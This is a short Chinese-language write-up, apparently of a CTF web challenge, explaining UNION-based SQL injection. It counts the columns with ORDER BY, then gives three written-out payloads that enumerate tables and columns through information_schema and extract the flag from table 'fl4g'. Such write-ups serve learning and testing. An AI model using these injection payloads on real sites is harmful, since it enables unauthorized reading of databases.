这道题很久之前就看到过了，现在才弄明白。。。
这么输入有回显
这么输入就没有了，为什么呢
当我们用查询语句
select * from emp
order by x
假如emp这个表的字段有10个，那么x的值就只能是1-10
如果超过10，就不回显
所以说明显示只有4列，并没有隐藏什么
接下来就是爆库、爆表、包字段了
数据库叫skctf_flag，database()函数可以返回当前的数据库名
然后爆表
' union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES
where TABLE_SCHEMA='skctf_flag'#
解释一下，我们用的数据库除了我们存放的信息，还有数据库（mysql、oracle）自带的库，叫information_schema库，里面有一些自带的表，如上面用到的TABLES表，有两个字段，一个叫TABLE_NAME，一个叫TABLE_SCHEMA，分别存放表名和这个表所属的库。
group_concat()函数功能是把一列的内容全部输出，像我们爆表的时候就爆了两个还有个叫sc的表
详细可以看看这个博客写的东西
https://blog.csdn.net/kikajack/article/details/80065753
现在爆出表，叫fl4g，爆字段
' union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS
where TABLE_NAME='fl4g'#
名字竟然一样。。爆数据
' union select 1,skctf_flag,3,4 from fl4g#
完结